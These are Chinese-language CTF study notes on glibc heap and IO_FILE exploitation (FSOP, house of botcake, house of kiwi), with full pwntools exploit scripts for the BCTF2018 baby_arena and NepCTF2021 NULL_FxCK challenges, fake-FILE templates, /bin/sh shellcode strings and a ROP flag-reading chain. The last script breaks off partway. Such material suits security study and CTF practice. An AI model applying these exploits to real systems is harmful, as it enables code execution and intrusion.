比赛里常用的一些堆利用技巧,这里做一下分析总结
关于IO
一些gdb里用到的命令
p *(struct _IO_FILE_plus*)addr
fp addr
首先是一般IO的结构
//_IO_FILE_plus
typedef struct _IO_FILE FILE;//glibc/libio/bits/types/FILE.h
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;//虚函数表
};
struct _IO_FILE//glibc/libio/bits/libio.h
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer 输入缓冲区的当前地址*/
char *_IO_read_end; /* End of get area. 输入缓冲区的结束地址*/
char *_IO_read_base; /* Start of puback+get area. 输入缓冲区的起始地址*/
char *_IO_write_base; /* Start of put area. 输出缓冲区的起始地址*/
char *_IO_write_ptr; /* Current put pointer. 输出缓冲区的当前地址*/
char *_IO_write_end; /* End of put area. 输出缓冲区的结束地址*/
char *_IO_buf_base; /* Start of reserve area. 输入输出缓冲区的起始地址*/
char *_IO_buf_end; /* End of reserve area. 输入输出缓冲区的结束地址*/
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area. */
char *_IO_save_end; /* Pointer to end of non-current get area. */
......
struct _IO_FILE *_chain;//指向下一个_IO_FILE结构体的指针
int _fileno;
......
int _flags2;
......
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
......
size_t __pad5;
int _mode;
char _unused2[15 * sizeof(int) - 4 * sizeof(void*) - sizeof(size_t)];
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
get_column;
set_column;
};
其中flag字段的定义如下,一般在劫持stdout中会遇到,通常伪造为0xfbad1800
//glibc/libio/libio.h
/* Magic number and bits for the _flags field. The magic number is
mostly vestigial, but preserved for compatibility. It occupies the
high 16 bits of _flags; the low 16 bits are actual flag bits. */
/* 0x4000 No longer used, reserved for compat. */
IO_FILE中各字段的长度如下
_IO_FILE_plus_size = {
'i386':0x98,
'amd64':0xe0
}
_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
在gilbc/libio/libioP.h中有如下声明
extern struct _IO_FILE_plus *_IO_list_all;
该变量为一个单链表的头结点
该单链表用于管理程序中所有的FILE结构体
并通过_chain字段索引下一个FILE结构体,每个程序中该链表的最后3个节点从后往前固定为_IO_2_1_stdin、_IO_2_1_stdout、_IO_2_1_stderr,之前是用户新申请的FILE结构体,每次新申请的FILE**结构体会插在该链表的表头。
这里其实涉及到一个FSOP的利用,通过伪造关于_IO_list_all的指针从而伪造IO结构体
上边都是定义,接下来我们gdb看看具体的例子
pwndbg> p/x _IO_2_1_stderr_
$2 = {
file = {
_flags = 0xfbad2087,
_IO_read_ptr = 0x7fde482f7643,
_IO_read_end = 0x7fde482f7643,
_IO_read_base = 0x7fde482f7643,
_IO_write_base = 0x7fde482f7643,
_IO_write_ptr = 0x7fde482f7643,
_IO_write_end = 0x7fde482f7643,
_IO_buf_base = 0x7fde482f7643,
_IO_buf_end = 0x7fde482f7644,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fde482f76a0,//_IO_2_1_stdout
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0x0},
_lock = 0x7fde482f94b0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fde482f6780,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7fde482f84a0//_IO_file_jumps
}
pwndbg> p/x *_IO_2_1_stderr_.vtable
$4 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7fde4819e0d0,//FSOP2.27
__overflow = 0x7fde4819ef00,//FSOP
__underflow = 0x7fde4819eba0,
__uflow = 0x7fde481a00d0,
__pbackfail = 0x7fde481a1800,
__xsputn = 0x7fde4819d750,house of emma
__xsgetn = 0x7fde4819d3c0,
__seekoff = 0x7fde4819c9e0,//house of cat
__seekpos = 0x7fde481a0780,
__setbuf = 0x7fde4819c6b0,
__sync = 0x7fde4819c540,//house of kiwi
__doallocate = 0x7fde4818fdf0,
__read = 0x7fde4819d720,
__write = 0x7fde4819cfe0,
__seek = 0x7fde4819c780,
__close = 0x7fde4819c6a0,
__stat = 0x7fde4819cfc0,
__showmanyc = 0x7fde481a1990,
__imbue = 0x7fde481a19a0
}
当我们调用stdin相关IO函数调用函数指针时就会从stdin的vtable里面查找相关的函数指针。
比如_IO_OVERFLOW就会引索stdin的vtable到__overflow = 0x7fde4819ef00。
下面介绍2种除了了Largebinattack以外IO利用中常用的堆利用技巧
fastbin reverse into tcache
利用:简单来说就是把fastbin填满的同时,让tcache为空。修改fastbin尾节点的fd到目标地址。
触发:申请一个该大小的堆,fastbin就会由头至尾放入tcache,可以在目标地址写入一个堆地址
2.33及以上:开始会有对齐检测,而写入操作会写入0x10的内容[堆地址,tcache_struct+0x10],写入一个tcache_struct+0x10
技巧杂谈:
这个方法往往需要14个以上的堆序号
如果改count为7直接来填充fastbin,为了绕过doublefree检测,需要能申请很多个不同的chunk。在题目中往往申请的堆数量受到idx限制,这时候可以考虑控制到tcache_struct来实现申请绕过tcache,del不绕过tcache,再申请不绕过tcache,del绕过tcache。这样在UAF的情况下,只用一个idx即可实现布置
tcache_stashing_unlink
利用手法:
1.tcache中放5个chunk,smallbin中放两个
2.将smallbin中倒数第二个chunk的bk改成&target-0x10,这里注意不能破坏fd指针,同时将&target+8处设置成一个指针,且指向可写内存区域
3.从smallbin中取出一个chunk,目标地址就会被链入tcache中
技巧杂谈:
&target+8处设置成一个指针
这里往往可以利用上Largebinattack
house of botcake(UAF)
主要在申请小于0x400size的堆块时可以使用的堆复用技巧,也通常用于没有edit的情况
从glibc 2.29开始tcache增加了key字段,一般来说我们需要覆盖掉key字段,才能进行double free操作。
house of botcake借用unsortbin来避免key字段实现doublefree堆复用(如果只是实现堆复用不去利用unsortbin上的libc地址,也可以借用fastbin)。
具体操作就是在填满 tcache 之后,再连续释放两个相邻的堆块使其合并(单个堆块会导致unsortbin双向链表损坏,从而导致无法申请unsortbin里的堆块,这里起到一个隔断作用)放到 unsorted bin 里,然后从tcache 中申请出一个堆块,再释放合并堆块下半部分堆块。那么这个下半部分chunk既出现在tcache里,又出现在unsorted bin里。 再通过错位切割直接申请unsortbin,就能控制tcache
技巧杂谈及适用条件
这种技巧通常用在没有泄露地址时,通过利用unsortbin上的地址实现爆破,特别是没有show功能时
由于要利用到堆自然合并以及tcache,可申请的size就不能在fastbin范围,要在tcache范围<0x420,同时2.27往上
错位切割是一种可以优先于tcache先申请unsortbin的方法,同时也能残留下unsortbin的地址
在IO利用开始之前
伪造IO结构体之前,往往要覆盖掉IO_list_all,或者chain字段,要实现地址写
如果只能写入堆地址,那就可以在堆上伪造IO结构体了
但如果能实现任意地址写入,在exit这样栈返回的触发情况下,我们可以考虑去控制栈上的ret指针来实现rop
libc.sym[‘environ’]中存放着栈地址,只需要加上偏移就能得到栈上ret指针的地址
或者劫持link_map结构体改程序基地址,也是一种利用思路
FSOP
利用链:
exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_overflow
FSOP是用来控制程序执行流的
FSOP主要利用了 _IO_flush_all_lockp 函数,该函数的功能是刷新所有FILE结构体的输出缓冲区
int _IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
//遍历 _IO_list_all
for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
return result;
}
调用_IO_flush_all_lockp主要有三个时机:
-
libc执行abort函数时(内存错误)
-
程序显式调用 exit 函数时
-
程序从main函数返回时
利用杂谈
fsop更像是一种工具
在2.31以下的版本都是首选,即便是之前的版本,2.23和2.27还是有些区别
通常的打法
方案一:劫持IO_list_all写上堆地址,然后伪造IO结构体,exit触发
触发的话,也可申请到不能申请的地址触发报错
baby_arena_BCTF2018
(libc2.23/global_max_fast任意地址写利用)
漏洞点有2个,一个UAF
另一个是这里的溢出
导致可以往任意地址写入一个admin
这里主要利用了一个修改
global_max_fast的方式来劫持IO_list_all
这里利用global_max_fast实现任意地址写的mallocsize主要如下计算
def offset2size(offset):
assert offset % 8 == 0
return (offset * 2) + 0x10
pwndbg> p &main_arena.fastbinsY
$5 = (mfastbinptr (*)[10]) 0x7f8a7d7b0b28 <main_arena+8>
pwndbg> p &_IO_list_all
$6 = (struct _IO_FILE_plus **) 0x7f8a7d7b1520 <_IO_list_all>
pwndbg> p/x 0x7f8a7d7b1520-0x7f8a7d7b0b28
$7 = 0x9f8
pwndbg> p/x 2*0x9f8+0x10
$8 = 0x1400
然后就是一个触发的问题
这里我们改了fastbin的范围
导致malloc时申请了不可申请的区域
触发_IO_flush_all_lockp
//这里只需要绕过整个判断即可执行_IO_OVERFLOW
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
p = process('./baby_arena')
elf = ELF("./baby_arena")
libc = elf.libc
def dbg():
gdb.attach(p)
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
user = 0x6020B0
def add(size,con):
sla("4.exit",1)
sla("Pls Input your note size",size)
p.sendlineafter("Input your note",con)
def dele(idx):
sla("4.exit",2)
sla("Input id:",idx)
def login(name,user):
sla("4.exit",3)
p.sendafter("Please input your name",name)
sla("1.admin",user)
add(0x300,'e4l4')
add(0x1400,'e4l4')
dele(0)
add(0x300,'')
p.recvuntil("your note is")
libc_base = uu64()-0x3c4b78
lg("libc_base")
# p/x &global_max_fast
one_gadget = libc_base + 0xf1247
Global_max_fast = libc_base + 0x3c67f8
IO_list_all = libc_base + libc.sym['_IO_list_all']
login(p64(one_gadget) + p64(Global_max_fast-8),1)
dele(1)
fake_IO_FILE = p64(0xFBAD1800) + p64(0)*3
fake_IO_FILE += p64(0) + p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'x00')
fake_IO_FILE += p64(0) + p64(0)*2
fake_IO_FILE += p64(0x6020B0 - 0x18)
add(0x1400,fake_IO_FILE[0x10:])
dele(1)
sla('exit','1')
sla('size',0x100)
p.interactive()
2.27下有如下利用
_IO_str_finish的利用
利用链
fsop->_IO_str_finish
这种方法主要利用的是
_IO_str_jumps这张vtable表
来绕过对表位置的检测
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
这里仍然需要构造好条件
因为最后我们是要模拟触发_IO_OVERFLOW。
//绕过条件
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
fp->vtable = _IO_str_jumps_addr
fp->_flags & _IO_USER_BUF = 0 // 最低位没有 1
fp->_IO_buf_base != 0 ==> fp->_IO_buf_base = binsh_addr
fp->_s._free_buffer = system_addr
# 模板
def FILE(binsh,system,IO_str_jumps):
fake_IO_FILE = p64(0xfbad1800) + p64(0)*3
fake_IO_FILE += p64(0) + p64(1)
fake_IO_FILE += p64(0) + p64(binsh)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'x00')
fake_IO_FILE += p64(0) + p64(0)*2 # _mode <= 0
fake_IO_FILE += p64(IO_str_jumps-8)
fake_IO_FILE += p64(0) + p64(system)# 0xe8
return fake_IO_FILE
fake_IO = FILE(sh_addr,system_addr,_IO_str_jumps)
_IO_str_overflow的利用(其一)
利用链
FSOP->_IO_str_overflow
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;//二进制表示的 _flags 倒数第三位不能为1 。0xfbad1800
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))//0xfbad1800
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;//(binsh_addr−100)//2
if (new_size < old_blen)
return EOF;
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//利用点
====================================================================================================
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, ' ', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)
//绕过条件
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
fp->_flags = 0
fp->_IO_write_ptr = 0xffffffffffffffff
fp->_s._allocate_buffer = system_addr
fp->_IO_buf_base = 0
fp->_IO_buf_end = (binsh_addr-100)//2
def FILE(binsh,system,IO_str_jumps):
fake_IO_FILE = p64(0xfbad1800) + p64(0)*3
fake_IO_FILE += p64(0) + p64(0xffffffffffffffff)
fake_IO_FILE += p64(0)*2 + p64((binsh-100)//2)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'x00')
fake_IO_FILE += p64(0) + p64(0)*2 # _mode <= 0
fake_IO_FILE += p64(IO_str_jumps)
fake_IO_FILE += p64(system) # 0xe0 _s._allocate_buffer
return fake_IO_FILE
baby_arena_BCTF2018
(libc2.27/global_max_fast任意地址写利用)
2.27下新增了对vtable位置的检测
主要考虑使用原生vtable进行修改
同样的题,版本不一样
这里system(“/bin/sh”)getshell
申请的size大小有所区别
这里用显式exit触发_IO_flush_all_lockp
# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'debug'
p = process('./baby_arena')
elf = ELF("./baby_arena")
libc = elf.libc
def dbg():
gdb.attach(p)
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
user = 0x6020B0
def add(size,con):
sla("4.exit",1)
sla("Pls Input your note size",size)
p.sendlineafter("Input your note",con)
def dele(idx):
sla("4.exit",2)
sla("Input id:",idx)
def login(name,user):
sla("4.exit",3)
p.sendafter("Please input your name",name)
sla("1.admin",user)
add(0x418,'e4l4')
add(0x1430,'e4l4')
dele(0)
add(0x418,'')
p.recvuntil("your note is")
libc_base = uu64()-0x3ebca0
lg("libc_base")
# p/x &global_max_fast
sh_addr = libc_base+libc.search('/bin/sh').next()
system_addr = libc_base + libc.sym['system']
Global_max_fast = libc_base + 0x3ed940
IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_str_jumps = libc_base + 0x3e8360
login(p64(system_addr) + p64(Global_max_fast-8),1)
dele(0)
add(0x418,'a'*0x410+p64(0))
dele(1)
# 0x7fa0d6e7d660-0x7fa0d6e7cc50
def FILE(binsh,system,IO_str_jumps):
fake_IO_FILE = p64(0xfbad1800) + p64(0)*3
fake_IO_FILE += p64(0) + p64(0xffffffffffffffff)
fake_IO_FILE += p64(0)*2 + p64((binsh-100)//2)
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'x00')
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2 # _mode <= 0
fake_IO_FILE += p64(IO_str_jumps)
fake_IO_FILE += p64(system) # 0xe0 _s._allocate_buffer
return fake_IO_FILE
fake_IO = FILE(sh_addr,system_addr,IO_str_jumps)
add(0x1430,fake_IO[0x10:])
dele(1)
sla('exit','4')
p.interactive()
house of kiwi
利用链
__malloc_assert->fflush->_IO_file_sync(rdx == IO_helper_jumps)
适用情况
高版本的沙盒绕过
禁用free_hook和malloc_hook(2.34以上)
exit函数替换成_exit函数
(导致最终结束的时候进行syscall来结束,并没有机会调用_IO_cleanup不走刷新流)
技巧杂谈
核心是利用stderr错误流,不需要伪造整个结构体,主要是改2个位置,也就是说只要有任意地址写即可
方案一:
一个是IO_file_jumps+0x60(要执行的函数)
一个是IO_helper_jumps+0xa0(写上rop链地址)
方案二:
一个是IO_file_jumps+0x60(要执行的函数)
一个IO_2_1_stderr(作为rdi),system(/bin/sh)
触发利用错误流:
__malloc_assert断言,当topchunksize不足以分配malloc所需大小时触发
NULL_FxCK(offbynull/sandbox/libc2.32)
题目是NepCTF2021年中NULL_FxCK
2.32的版本,tcache已经有异或key了
漏洞点在edit时有offbynull,且edit只能执行一次
在菜单后执行一个check函数
实现了一些禁用,heapinfo存放的是堆基地址
GLIBC 2.32/malloc.c:288
这里存在一个fflush(stderr)的函数调用
其中会调用_IO_file_jumps中的sync指针
# __malloc_assert
static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
进入assert后
跟进调试可以发现在fflush函数中调用到了一个指针:
位于_IO_file_jumps中的_IO_file_sync指针
在这个函数里第三个参数为IO_helper_jumps指针
其值为固定值
我们使用方案一
修改 _IO_file_jumps + 0x60的_IO_file_sync指针为setcontext+61
修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移orw
这里借用fmyy师傅的exp,写一点注释
这道题主要的思路是利用largebinatttack任意地址写
去打线程中存放tcache_struct地址的位置
劫持tcache_struct,达到任意地址写的目的
再结合assert断言触发payload
# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./fcvk')
elf = ELF("./fcvk")
libc = elf.libc
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
uu64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"
#-----------------------------------------------------------------------------------------
def menu(ch):
p.sendlineafter('>> ',str(ch))
def New(size,content):
menu(1)
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
def Modify(index,content):
menu(2)
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content)
def Show(index):
menu(4)
p.sendlineafter('Index: ',str(index))
def Free(index):
menu(3)
p.sendlineafter('Index: ',str(index))
ptr = 0x4160
while True:
p = process("./fcvk")
try:
#高版本的offbynull堆合并用于泄露地址和堆复用,add时编辑的内容最后一字节会置零这里要爆破
New(0x2000,'FMYY')# 0
New(0x1000,'FMYY')# 1 用于srop
New(0x2000 - 0x2F0 - 0x600,'FMYY')# 2 填地址使chunk2地址对齐000
New(0x4F0,'FMYY') # 3 chunk1
New(0x108,'FMYY') # 4
New(0x500,'FMYY') # 5 chunk2
New(0x108,'FMYY') # 6
New(0x108,'FMYY') # 7
New(0x108,'FMYY') # 8
New(0x510,'FMYY') # 9 chunk3
New(0x108,'FMYY') # 10
New(0x4F0,'FMYY') # 11 chunk4
New(0x108,'FMYY') # 12
# 设置fakechunk fd and bk 以及 chunk1 bk
Free(3)
Free(5)
Free(9)
New(0x2000,'FMYY')#3
Free(3)
New(0x500,'x00'*8 + p64(0xE61)) # 3 chunk2 set fakechunk_size
New(0x4F0,'x00'*8+ 'x10x00') # 5 chunk1
# 设置chunk3 fd
Free(11)
New(0x800,'FMYY') # 9 put in largebin
Free(9)
New(0x510,'x10x00') #9 chunk3
New(0x4F0,'x00'*0x20) #11 chunk4
# 设置prev_size位
Modify(10,'x00'*0x100 + p64(0xE60))
Free(11)
New(0x4F0,'FMYY') #11 to split the unsorted bin chunk
New(0x1000,'FMYY') # 12 put in largebin
Show(6)# 堆复用unsrtbin-6
libc_base = u64(p.recvuntil('x7F')[-6:].ljust(8,'x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
lg("libc_base")
Show(9)# chunk3
heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x49F0
lg("heap_base")
############################准备一些变量
SROP_address = heap_base + 0x79F0
magic = libc_base + 0x1EB538 # 存放tcache_struct地址的位置
main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
pop_rdi_ret = libc_base + 0x000000000002858F
pop_rdx_r12 = libc_base + 0x0000000000114161
pop_rsi_ret = libc_base + 0x000000000002AC3F
pop_rax_ret = libc_base + 0x0000000000045580
syscall_ret = libc_base + 0x00000000000611EA
malloc_hook = libc_base + libc.sym['__malloc_hook']
Open = libc_base + libc.sym["open"]
Read = libc_base + libc.sym["read"]
Write = libc_base + libc.sym['write']
IO_helper_jumps = libc_base + 0x1E38C0
frame = SigreturnFrame()
frame.rsp = heap_base + 0x7A90 + 0x58 # orw_addr
frame.rip = pop_rdi_ret + 1
orw = ''# 写在最下方
orw += p64(pop_rax_ret) + p64(2)
orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)# flag
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(1)
orw += p64(Write)
orw += './flag.txtx00x00'
###################################用堆溢出去进行largebinattack
New(0x130,'x00'*0x108 + p64(0x4B1)) #14 覆盖7的size实现堆溢出
New(0x440,'FMYY') #15 用于larginbinattack以及伪造tcache_struct
New(0x8B0,'x00'*0x20 + p64(0x21)*8) #16 把unsotbin全申请了
New(0x430,'FMYY') #17 垫子
New(0x108,'FMYY') #18
Free(15)
######
New(0x800,'FMYY')# 15 put in largebin
Free(15)# 0x450
######
Free(7) # 利用7去编辑largebin
New(0x4A0,'x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x5650) + p64(magic - 0x20))# 7 largebin attack 更换tcache_struct
Free(17) # 当个垫子
New(0x800,str(frame) + orw)# 15 put in largebin同时会写入17号堆
Free(15)
New(0x430,'FMYY')# 15 再次申请用于largebinattack的chunk同时写入mp_
Free(7)
New(0x4A0,'x00'*0x30 + 'x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)# 伪造tcache_struct 用于申请__sync和IO_help+0xa0
Free(0)
Free(1)
New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))# 0 __sync
New(0x208,str(frame)[0xA0:])# 1 IO_help+0xa0
# 触发assert
menu(1)
p.sendafter('Size:',str(0x420))
break
except:
p.close()
p.interactive()
house of kiwi(数组越界/libc2.31)
mmap了一块区域来管理堆
dele时存在负数越界,我们只要用mmap申请一个堆
那这里free就能访问到我们堆里写入的内容
这里我们用来free tcachestruct
然后利用任意地址申请实现houseofkiwi
# _*_ coding:utf-8 _*_
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./pwn')
elf = ELF("./pwn")
libc = elf.libc
def dbg():
gdb.attach(p)
pause()
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
